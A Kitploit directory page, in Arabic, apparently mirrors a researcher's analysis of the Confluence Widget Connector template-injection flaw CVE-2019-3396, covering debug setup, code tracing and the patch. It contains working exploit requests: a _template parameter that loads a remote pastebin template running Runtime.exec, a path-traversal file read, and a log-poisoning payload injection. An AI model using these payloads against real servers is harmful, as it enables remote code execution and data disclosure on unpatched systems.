Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/petrusviet/cve-2019-3396
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubpetrusviet/cve-2019-3396

cve-2019-3396

حقن القوالب غير المصرح به في Confluence

عرض المستودع
211منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

حقن القالب غير المصرح به في Confluence (CVE-2019-3396)

I) البناء

  • يحدث هذا الخطأ في الإصدارات التالية:
    • جميع الإصدارات 1.x.x و 2.x.x و 3.x.x و 4.x.x و 5.x.x
    • جميع الإصدارات 6.0.x و 6.1.x و 6.2.x و 6.3.x و 6.4.x و 6.5.x
    • جميع الإصدارات 6.6.x قبل 6.6.12
    • جميع الإصدارات 6.7.x و 6.8.x و 6.9.x و 6.10.x و 6.11.x
    • جميع الإصدارات 6.12.x قبل 6.12.3
    • جميع الإصدارات 6.13.x قبل 6.13.3
    • جميع الإصدارات 6.14.x قبل 6.14.2
  • بعد تنزيل الكود المصدري تحتاج إلى:
    • تعديل قيمة confluence.home إلى عنوان confluence home في الملف ./confluence/WEB-INF/classes/confluence-init.properties
    • إضافة قيمة CATALINA_OPTS حتى يتمكن البرنامج من العمل في وضع التصحيح عن بُعد (remote debug)

في نظام ويندوز، الملف ./bin/setenv.bat

root@kitploit:~
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

في نظام لينكس، الملف ./bin/setenv.sh

root@kitploit:~
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"  
  • في IDE (Intellij) نقوم بإنشاء Debug Configurations: بقيمة و هي localhost:5005 و
Remote JVM Debug
host
port
Command line arguments for remote JVM
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • يمكننا استخدام Postgresql كقاعدة بيانات:
root@kitploit:~
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
 
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
  • نحتاج إلى إضافة حزم jar التالية: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar إلى lib حتى نتمكن عند التصحيح من رؤية الكود المصدري اللازم.

  • نقوم بتشغيل الملف ./bin/start-confluence.bat ويمكنكم الاطلاع على هذا الدليل لتثبيته من الكود المصدري.

II) التحليل

  • بعد قراءة الوصف، يمكننا معرفة أن هذا الخطأ يبدأ من ميزة Widget Connector، لذلك قمت بالبحث فورًا لمعرفة ما هي هذه الميزة وكيفية استخدامها:

    2 ادخل إلى تحرير صفحة

    3
    اختر Other macros

    4 اختر Widget connector

    image

  • قمت باختيار بعض القيم عشوائيًا ثم ضغطت على preview، وبعدها انتقلت إلى burp لأرى ما إذا كان هناك شيء مثير. image

  • في هذه الحزمة، لاحظت وجود معامل "pluginKey":"com.atlassian.confluence.extra.widgetconnector"، لذلك خمنت أن ميزة Widget Connector معرفة في الكلاس com.atlassian.confluence.extra.widgetconnector، وبالتالي بحثت في المسار لمعرفة ما إذا كانت هناك حزمة jar مشبوهة.

image

  • جرّبت إضافة الملف ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar إلى lib الخاص بالمشروع حتى أتمكن من قراءة الكود المصدري وتصحيحه.

    1
    طريقة إضافة ملف jar إلى lib

  • عند فتح حزمة widgetconnector لفت انتباهي الكلاس WidgetMacro، لذلك وضعت نقطة توقف (breakpoint) في المُنشئ ودالة execute لهذا الكلاس لمعرفة ما إذا كان يتم استدعاؤه عند استخدام ميزة Preview 🕵️

    • image

    • تم استدعاء دالة execute، ثم استدعى البرنامج DefaultRenderManager.getEmbeddedHtml

    • image

    • لاحظنا أنه للوصول إلى داخل if نحتاج إلى تحقيق الشرط widgetRenderer.matches(url). نقوم بفحص دالة widgetRenderer.matches(url) في الكلاس YoutubeRenderer

    • image

    • image

    • لذلك أحتاج إلى جعل المعامل url مسارًا لفيديو على youtube (أو Vimeo, Twitter, ...). قمت بتعيين url كرابط لأي فيديو على youtube، وقد دخل البرنامج إلى جملة if ثم استدعى الدالة widgetRenderer.getEmbeddedHtml(url, params) (الكلاس YoutubeRenderer)

    • image

    • انتقل البرنامج إلى الدالة setDefaultParam وهنا لاحظنا معاملًا مخفيًا _template يبدو مشبوهًا :)

    • image

    • بعد الخروج من الدالة setDefaultParam، استدعى البرنامج الدالة DefaultVelocityRenderService.render

    • image

    • ثم المتابعة عبر الدالة getRenderedTemplate و VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)

    • image

    • image

    • ثم إلى VelocityUtils.getRenderedTemplate(String templateName, Context context) و getRenderedTemplateWithoutSwallowingErrors(templateName, context)

    • image

    • الدالة renderTemplateWithoutSwallowingErrors

    • image

    • استدعى البرنامج الدالة getTemplate ثم VelocityEngine.getTemplate و RuntimeInstance.getTemplate، وهنا نرى أن البرنامج يستدعي الدالة getResource بمُدخل هو قيمة المعامل _template. في Java، يمكن استخدام الدالة getResource لتحميل مورد من ملف محلي أو من ملف على الإنترنت (عبر بروتوكول HTTP).

    • توقفنا للتفكير: هل يسمح هذا للمهاجم بإدخال قالب (من الخادم المحلي أو من مضيف المهاجم) إلى البرنامج عن طريق إضافة معامل _template إلى الطلب؟؟

    • image

    • نواصل التتبع بالعكس لمعرفة كيفية معالجة البرنامج للقالب بعد الحصول عليه:

    • بعد الحصول على القالب، استدعى البرنامج الدالة VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);

    • image

    • ثم بعد ذلك إلى template.merge(context, writer);

    root@kitploit:~
    public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
          if (this.errorCondition != null) {
              throw this.errorCondition;
          } else if (this.data == null) {
              String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
              throw new RuntimeException(msg);
          } else {
              InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
              ica.setMacroLibraries(macroLibraries);
              if (macroLibraries != null) {
                  for(int i = 0; i < macroLibraries.size(); ++i) {
                      try {
                          this.rsvc.getTemplate((String)macroLibraries.get(i));
                      } catch (ResourceNotFoundException var17) {
                          this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
                          throw var17;
                      } catch (ParseErrorException var18) {
                          this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
                          throw var18;
                      } catch (Exception var19) {
                          throw new RuntimeException("Template.merge(): parse failed in template  " + (String)macroLibraries.get(i) + ".", var19);
                      }
                  }
              }
    
              if (this.provideScope) {
                  ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
              }
    
              try {
                  ica.pushCurrentTemplateName(this.name);
                  ica.setCurrentResource(this);
                  ((SimpleNode)this.data).render(ica, writer);      ### POC có thể được render ở đây  ###
              } catch (StopCommand var20) {
                  if (!var20.isFor(this)) {
                      throw var20;
                  }
    
                  if (this.rsvc.getLog().isDebugEnabled()) {
                      this.rsvc.getLog().debug(var20.getMessage());
                  }
              } catch (IOException var21) {
                  throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
              } finally {
                  ica.popCurrentTemplateName();
                  ica.setCurrentResource((Resource)null);
                  if (this.provideScope) {
                      Object obj = ica.get(this.scopeName);
                      if (obj instanceof Scope) {
                          Scope scope = (Scope)obj;
                          if (scope.getParent() != null) {
                              ica.put(this.scopeName, scope.getParent());
                          } else if (scope.getReplaced() != null) {
                              ica.put(this.scopeName, scope.getReplaced());
                          } else {
                              ica.remove(this.scopeName);
                          }
                      }
                  }
    
              }
    
          }
      }
    
    • هنا نرى أن البرنامج يستدعي SimpleNode.render، وهذه الدالة تستخدم قالب Velocity لتحليل القالب. حتى هنا يمكننا أن نرى أنه يمكن كتابة PoC لـ RCE:

حزمة طلب POST عند طلب ميزة Preview

root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close

{
"contentId":"622594",
"macro": {
    "name":"widget",
    "body":"","params": {
      "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
      "width":"10",
      "height":"10",
      "_template":"https://pastebin.com/raw/JPEpiuLG"
      }
}
}

ملف الحمولة

root@kitploit:~
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
  • نجح الـ PoC في العمل:
  • image

استدعاء المكدس (Stack call)

root@kitploit:~
WidgetMacro: execute
  -> DefaultRenderManager: getEmbeddedHtml
  	-> YoutubeRenderer: getEmbeddedHtml
  		-> DefaultVelocityRenderService: render -> getRenderedTemplate
  			-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
  				
  				-> VelocityEngine: getTemplate
  					-> RuntimeInstance: getResource 

  			-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors

  				-> Template: merge
  					=>  SimpleNode: render
تنزيل الأداة

وهكذا نجحنا في إعادة إنتاج هذا الخطأ، لكن في حالة كان الهدف خادمًا يحظر الاتصالات الصادرة (outbound)، فلن يتمكن المهاجم من جلب الموارد من الإنترنت، بل يمكنه فقط جلب الموارد من الملفات المحلية على الخادم.

في هذه الحالة، كيف يمكن الاستغلال؟

تلقيت تلميحًا بأن المستخدم يمكنه بطريقة ما حقن حمولة في ملف السجل. كانت فكرة جيدة، لذلك بدأت أفكر بجدية في طريقة للقيام بذلك.

  • بدأت بفحص ملفات السجل في Confluence Home لمعرفة ما إذا كان هناك شيء مميز فيها. اطلعت على ملفات السجل في ./shared-home/analytics-logs/ ولاحظت بعض القيم key-value مألوفة، ويبدو أنها تُرسل من جهة العميل (client-side)
  • image
  • لاحظت وجود حزمة POST /rest/analytics/1.0/publish/bulk ترسل بعض القيم key-value كما هو موضح أعلاه.
root@kitploit:~
[{"name":"browser.metrics.navigation",
"properties":{
 "apdex":"0.5",
 "firstPaint":"528",
 "isInitial":"true",
 "journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
 "key":"confluence.dashboard.view",
 "navigationType":"0",
 "readyForUser":"1117",
 "redirectCount":"0",
 "resourceLoadedEnd":"499",
 "resourceLoadedStart":90.35499999299645,
 "threshold":"1000",
 "unloadEventStart":"47",
 "unloadEventEnd":"47",
 "fetchStart":"25",
 "domainLookupStart":"25",
 "domainLookupEnd":"25",
 "connectStart":"25",
 "connectEnd":"25",
 "requestStart":"27",
 "responseStart":"28",
 "responseEnd":"37",
 "domLoading":"52",
 "domInteractive":"538",
 "domContentLoadedEventStart":"538",
 "domContentLoadedEventEnd":"691",
 "domComplete":"1176",
 "loadEventStart":"1176",
 "loadEventEnd":"1176",
 "userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
 "pageEnd":"531",
 "isBigPipeEnabled":"false",
 "serverDuration":"339",
 "requestCorrelationId":"36006c54d2919ecd",
 "resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
 "userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
 }]
  • جرّبت استبدال بعض القيم ولاحظت أن قيمة resourceTiming يمكن تعديلها بحرية مع بقائها تُسجل في السجل
  • image
  • وهكذا أصبح بإمكاننا وضع حمولة في ملف السجل الموجود محليًا على الخادم.
  • من هنا يمكننا قراءة الملف ./confluence/WEB-INF/classes/confluence-init.properties لمعرفة موقع confluence home
root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/1.1
  
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
  "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
  "_template":"/../../WEB-INF/classes/confluence-init.properties",
  "width":"11",
  "height":"11"
  }
}
}
  • ثم من ذلك نصل إلى موقع ملف السجل الذي يحتوي على الحمولة التي حقنّاها:
root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/1.1
    
{
"contentId":"1507329",
"macro":{
  "name":"widget",
  "body":"",
  "params":{
    "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
    "_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
    "width":"11",
    "height":"11"
    }
  }
}
  • إذا كان ملف السجل كبيرًا جدًا بحيث لا يمكن تمريره إلى القالب لتحليله، يمكننا دفع السجل حتى يصل إلى حد الحجم، وعندها يقوم النظام تلقائيًا بالكتابة إلى ملف سجل جديد، ويمكن للمهاجم اغتنام الفرصة لأن الملف الجديد لم يكبر بعد لحقن الحمولة واستخدامها.

III) الإصلاح

في إصدار التصحيح (patch)، تمت إضافة دالة doSanitizeParameters إلى الكلاس WidgetMacro لحذف المعامل "_template" قبل استدعاء renderManager.getEmbeddedHtml(url, parameters);

image image image